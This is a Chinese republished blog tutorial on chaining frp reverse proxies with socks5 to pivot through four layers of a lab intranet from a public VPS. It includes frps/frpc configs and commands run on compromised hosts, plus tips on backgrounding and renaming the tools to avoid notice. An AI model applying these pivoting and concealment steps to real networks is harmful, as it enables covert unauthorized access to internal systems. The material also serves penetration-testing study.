Frp构建多层内网通信隧道

admin 2022年9月19日09:29:31安全文章评论11 views3387字阅读11分17秒阅读模式

免责声明



本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

Frp构建多层内网通信隧道

文章正文



版权声明:本文为CSDN博主「山山而川'」的原创文章

原文链接:

https://blog.csdn.net/qq_44159028/article/details/124381234

Frp原理

Frp构建多层内网通信隧道

  • 首先,frpc 启动之后,连接 frps,并且发送一个请求 login(),之后保持住这个长连接,如果断开了,就重试

  • frps 收到请求之后,会建立一个 listener 监听来自公网的请求

  • 当 frps 接受到请求之后,会在本地看是否有可用的连接( frp 可以设置连接池),如果没有,就下发一个 msg.StartWorkConn 并且 等待来自 frpc 的请求

  • frpc 收到之后,对 frps 发起请求,请求的最开始会指名这个连接是去向哪个 proxy 的

  • frps 收到来自 frpc 的连接之后,就把新建立的连接与来自公网的连接进行流量互转

  • 如果请求断开了,那么就把另一端的请求也断开

模拟环境

网络拓扑图如下,可见有多层网络,只有同层间的网络才能互相访问

vps: 39.100.88.162 ;攻击者:真实机

第一层网络:192.168.10.0/24     vmnet1(仅主机模式)

第二层网络:192.168.20.0/24     vmnet2

第三层网络:192.168.30.0/24     vmnet3

第四层网络:192.168.40.0/24     vmnet4

Frp构建多层内网通信隧道

并在网络编辑器中将vmnet1,2,3,4网卡禁用,这样真实机就访问不了这些网卡ip了,模拟真实的内网环境

Frp构建多层内网通信隧道

多层网络实战

⼀般常⻅的内⽹只有⼀层,⽐如 A 主机的⽹段是 192.168.10.x ,内⽹其他主机的⽹段也是 192.168.10.x,那么就可以直接搭建简单的一层内⽹隧道;那么如果⽬标内⽹有⼆层(192.168.20.x )、三层(192.168.30.x) 、四层(192.168.40.x ),每⼀层主机的⽹段只能和上⼀层的⽹段相互访问,那么这个时候我们应该怎样做,才能从第⼀层访问到最后⼀层,直到最深处的内⽹环境?

Frp访问第一层网络

服务端配置

公网的vps为linux,下载对应的linux包

Frp构建多层内网通信隧道

解压后将其上传至vps上

  1. 服务端的配置文件为frps.ini,默认配置如下。bind_port为服务器监听的端口

Frp构建多层内网通信隧道

这里添加一个控制台,也可以不添加,前面加上注释符#就行

[common]
#服务端监听端口,默认7000。监听来自客户端的流量请求
bind_port = 7000

# 下面这些可以不用加
#控制台用户名
dashboard_user = admin  
#控制台密码
dashboard_pwd = password  
#控制台的端口
dashboard_port = 7500

Frp构建多层内网通信隧道

  1. 第一次运行要加执行权限

chmod +777 frps
  1. 启动服务端

./frps -c frps.ini

frps tcp listen为7000端口,接收来自frp客户端的请求。Dashboard listen 7500为控制面板的端口

Frp构建多层内网通信隧道

  1. 访问控制台7500端口

Frp构建多层内网通信隧道

客户端配置

下载对应系统类型的文件。

Frp构建多层内网通信隧道

  1. 文件配置

客户端中的配置文件为frpc.ini,进行如下配置

[common]
# 如果tls_enable为true,则frpc将通过tls连接frps。否则可能运行不起来
tls_enable = true
server_addr = 39.100.88.162
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5

会将客户端中所有的流量通过本地的一个随机端口转发给vps的7000端口,我们访问vps的7777端口就相当于访问客户端的7000端口

  1. 前台启动

windows中

将frpc.exe和frpc.ini两个文件放到被拿下的机器中(可以将两个文件都改个名字放上去)

frpc.exe -c frpc.ini

Frp构建多层内网通信隧道

这时候vps会显示success,则代表隧道建立成功

Frp构建多层内网通信隧道

linux中

同样也是上传两个文件就行frpc和frpc.ini,frpc.ini同win中设置

./frpc -c ./frpc.ini
  1. 让进程后台运行

上面运行的方式太明显了,让其在后台运行

win:

start /b frpc.exe -c frpc.ini

运行后,我们按住ctrl+c取消,连接也不会断开。但是如果重启了就不会再自动进行连接,因为它不是以服务的形式进行启动

Frp构建多层内网通信隧道

linux:

nohup ./frpc -c ./frpc.ini >/dev/null 2>&1 &

Frp构建多层内网通信隧道

停止:

  • ps -aux|grep frp| grep -v grep

  • kill -9 5448

Frp构建多层内网通信隧道

Proxifier连接

通过使⽤ Proxifier ⼯具与 VPS建⽴socks5 隧道,端⼝为 7777

Frp构建多层内网通信隧道

设置代理规则,目前要访问第一层网络10段,所以添加10

Frp构建多层内网通信隧道

这样我们就能访问第一层网络了

Frp构建多层内网通信隧道

Frp访问第二层网络

假设我们拿下了win7(192.168.20.130)这台机器,由于我们只配置了一层网络,所以只能访问10这个网段,而20这个网段是访问不了的。现在win2012-1要充当frp服务端和frp客户端以便访问第二层网络

  1. win2012-1配置 frps.ini

ip填写自己10这个网段的ip,端口填写7000

[common]
bind_addr = 192.168.10.2
bind_port = 7000

然后运行

frps.exe -c frps.ini

Frp构建多层内网通信隧道

  1. win2012-1配置 frpc.ini

[common]
tls_enable = true
server_addr = 39.100.88.162
server_port = 7000

[http_proxy]
type = tcp
remote_port = 7777
#plugin = socks5,不能加上这个

#相较于一级代理,增加如下两个配置
local_ip = 192.168.10.2
local_port = 7777

启动

frpc.exe -c frpc.ini

Frp构建多层内网通信隧道

  1. win7-1配置 frpc.ini

[common]
server_addr = 192.168.10.2
server_port = 7000

[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5

Frp构建多层内网通信隧道

  1. 在Proxifier原有代理规则上增加要访问的网段

Frp构建多层内网通信隧道

  1. 访问第二层网络192.168.20.130

Frp构建多层内网通信隧道

Frp访问第三层网络

在上面二层网络时,win7-1只做了frp客户端,同样的要访问第三层网络,也需要将其设置为frp服务端。win2012-1的frp不需要动

  1. win7-1停止frp.exe,并配置 frpc.ini,并启动

[common]
server_addr = 192.168.10.2
server_port = 7000

[http_proxy]
type = tcp
remote_port = 7777

#去掉plugin选项,并增加下面两项
local_ip = 192.168.20.130
local_port = 7777
  1. win7-1配置frps.ini

[common]

#ip都是设置为下层网络的ip
bind_addr = 192.168.20.130
bind_port = 7000
  1. win2012-2配置frpc.ini

[common]
server_addr = 192.168.20.130
server_port = 7000

[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5

都启动后,就可以访问第三层网络了

Frp构建多层内网通信隧道

按照这种方法,不管是第几层网络我们都能访问到

Frp构建多层内网通信隧道

技术交流





交流群



关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

Frp构建多层内网通信隧道




知识星球




星球不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全等


Frp构建多层内网通信隧道





关注我们



关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

原文始发于微信公众号(Z2O安全攻防):Frp构建多层内网通信隧道

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月19日09:29:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Frp构建多层内网通信隧道 http://cn-sec.com/archives/1303560.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: